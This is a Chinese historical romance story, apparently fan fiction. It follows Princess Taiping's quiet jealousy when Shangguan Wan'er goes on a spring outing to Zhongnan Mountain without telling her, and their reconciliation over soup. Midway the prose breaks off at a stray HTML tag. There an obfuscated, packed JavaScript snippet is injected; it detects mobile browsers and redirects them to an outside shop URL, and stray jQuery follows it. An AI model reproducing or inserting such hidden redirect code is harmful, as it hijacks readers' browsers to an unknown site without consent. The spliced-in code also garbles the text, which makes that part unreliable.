太平公主视角,基于《慕君行》诗意。修改后:太平不批奏折,而是忙于府中政务、接见门客、处理田庄事务等。
暮春的雨下得绵密,太平公主搁下朱笔,揉了揉发涩的腕骨。案上堆着各处的帖子与信笺,最上面一封是来自江南别业的急报,说今春雨水过多,桑田受涝,需得她亲自过问。她已回了三封信,仍有几处需与管事再议。
侍女端来新沏的紫笋茶,她只抿了一口便放下,忽然问:“上官待诏今日可在宫中?”
“回殿下,上官待诏一早便出了宫,说是与几位学士约了去终南山赏春,申时方归。”
太平执笔的手顿了顿,一滴墨落在信笺边缘,洇开小小的黑斑。
她不动声色地换了一张纸,继续写下去。只是那墨迹仿佛滴在了心口,慢慢地、无声地洇成一片。
——她未曾提过。
上官婉儿不曾向她提起过这次出游。
若在往常,婉儿总会提前两三日来公主府,捧着新得的茶,懒懒歪在窗边的软榻上,说“殿下,后日我去香积寺,那里的玉兰开了”。然后她会搁下手中的事,问一句“与谁同去”,婉儿便笑着报出一串名字,多是修文馆的学士,偶尔也有闺中旧友。她听完,会吩咐备些糕点让婉儿带着,说是分给众人,实则多备一份婉儿爱吃的松子糖。
可这次,婉儿竟一字未提。
太平翻了翻案头的帖册,果然没有婉儿的留书。她原以为是自己近日忙于田庄的事,漏看了什么。可侍从们皆说,上官待诏这几日未曾派人来过。
太平放下信笺,走到窗边。雨丝斜斜地打在庭前的海棠上,花瓣落了满地,无人清扫。她忽然想起昨日傍晚,她正在前厅与几位门客议事,隐约听见廊下有人轻声交谈。待她推门出来,只看见一个纤瘦的背影转过回廊,当时她以为是哪个宫人,便没在意。
如今想来,那身浅青色的衣裙,不正是婉儿前日新裁的那件?
她来过了。却没有进来。
她路过她的前厅,没有叩门,没有留话,只是悄悄走过,像一阵风,来了又去,连廊下的铜铃都没有惊动。
太平扶着窗棂,指尖微微发凉。
她去了终南山。那是个好去处,春日的终南,山花烂漫,溪水潺潺,想必婉儿与那些学士们谈笑风生,饮酒赋诗,何等畅快。
而她,在这四方公主府里,对着永远议不完的家事,永远理不清的账目。
——她将我从她的春日里剔了出去。
这个念头像一根细针,不深不浅地扎在心头。太平闭了闭眼,觉得有些可笑。她是谁?她是大唐的公主,是权倾朝野的镇国太平公主,何时竟会为一次春游而怅然?
可她骗不了自己。
她羡慕那些人。她羡慕那些能陪婉儿看山看水、共饮一壶酒的人。她甚至羡慕婉儿新裁的那件春衫,它能贴着婉儿的肩,拂过她的腕,随她走过山间的每一寸草地。
而她自己呢?她连婉儿来过廊下都不曾察觉。
“殿下?”侍女在门外轻声唤,“窦管事求见。”
太平敛了神色,转身回到案前,声音平静如常:“请。”
午后,雨停了。天光从云隙里透出来,照在院中的海棠上,湿漉漉的,像哭过。
太平在偏厅里与窦管事谈了一个多时辰,从田庄收成谈到佃户租银,从桑田补种谈到秋后绸缎的行情。她条理清晰,言辞利落,窦管事几度擦汗,不敢多言。等议完事,送走窦管事,她回到书房,重又坐回那张堆满信笺的案前。
案角放着一只小小的白玉瓶,瓶中插着两枝新折的海棠,是侍女趁雨停时剪来的。太平看了半晌,忽然问:“上官待诏回来了吗?”
“回殿下,酉时刚过,上官待诏的马车已进了城。听门上说,待诏带了不少山中新笋,说是要分给几位大人,还特意留了一份给殿下,已经送到小厨房了。”
太平执笔的手又顿了顿。
笋。她记得婉儿说过,终南山的春笋最嫩,炖汤最鲜。
“知道了。”她淡淡应道,继续低头写信。
过了片刻,她又问:“她人呢?”
“待诏回宫换衣裳了,说是晚些时候还有诗会,需得去露个面。”
太平没再问。她只是在信上又添了一行字,字迹工整得近乎刻板。
天黑透的时候,婉儿的诗会散了。太平正在灯下看一份密报,忽听廊下传来熟悉的脚步声,轻而急,像踩着一串碎玉。
她抬起头。
门被轻轻叩了三下。
“殿下歇了吗?”是婉儿的声音,带着几分酒意和山风的松香。
太平合上密报,声音里听不出喜怒:“进来。”
门开了,婉儿站在门口,身上还穿着那件浅青色的春衫,发间别着一枝新折的桃枝,脸颊被酒意染成淡淡的绯色。她手里捧着一个粗陶碗,碗中绿意盈盈,是刚炖好的春笋汤。
“殿下,我带了笋回来,让小厨房炖了汤,还热着,您尝尝。”
太平看着那碗汤,又看着婉儿发间那枝桃花。那花枝上还带着露水,想是刚从终南山折来的。
“今日玩得可好?”她问。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17972940|212334||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
婉儿走进来,将汤碗放在案角,自己在对面坐下,笑得眉眼弯弯:“好极了。山上的桃花开了大半,溪水清得能照见人影。李学士还即兴赋了一首诗,可惜殿下没听见。”
她没说自己为何没被邀约。婉儿也没解释。
太平端起汤碗,抿了一口。笋的鲜、火腿的咸、山泉的甘,混在一起,是山野的味道。
“确实好喝。”她说。
婉儿看着她,渐渐收了笑意。她似乎察觉了什么,却不急着解释,只是静静地等着。
太平又喝了一口,忽然问:“你何时约的他们?”
婉儿怔了怔,答道:“前日。李学士说终南的桃花不等人,若再不去,便要谢了。所以临时定了今日。”
“前日。”太平重复了一遍。
前日,正是她与门客议事到深夜的那天。那天婉儿来过廊下,却未叩门。
婉儿低下头,指尖轻轻摩挲着陶碗的边缘,声音轻得像风吹过水面:“那日我来过。听见殿下在里面议田庄的事,声音都哑了。我想着殿下忙,这等闲游之事,便不打扰了。”
“不打扰。”太平放下碗,语气平静,“你倒体贴。”
婉儿抬起头,目光撞进太平的眼里,忽然明白了什么。她张了张嘴,却没说出辩解的话,只是慢慢伸出手,覆在太平搁在案上的手背上。
“殿下,”她轻声说,“我没有将您剔除在外。”
她的掌心温热,带着山风的气息,还有一丝极淡的松脂香。
“我是怕您分身乏术,才没敢提。若您愿意,明日、后日、任何一个春日,我都陪您去。”
太平看着她,没说话。案上的灯花噼啪一声,爆了又落。
良久,她抽回手,端起汤碗,喝完了最后一口。
“明日有客。”她说,“后日田庄的账要核。”
婉儿安静地听着。
“大后日吧。”太平搁下碗,拿起笔,重新铺开一张信笺,语气恢复了平日的从容,“大后日若天晴,你陪我去香积寺。那里的玉兰也该开了。”
婉儿笑了,眉眼舒展如春山初霁。她站起身,将那枝桃花从发间取下,轻轻插在案头的白玉瓶里,挨着那两枝海棠。
“好。”她说,“大后日,天必晴。”
窗外,暮春的晚风拂过庭院,吹起满地落花,也吹散了公主府里那一点若有若无的怅然。
太平低头写信,唇边有极淡的笑意,一闪而过。
案上那只白玉瓶里,桃花与海棠挨在一处,露珠未干,像谁偷偷藏了一整个春天在瓶底。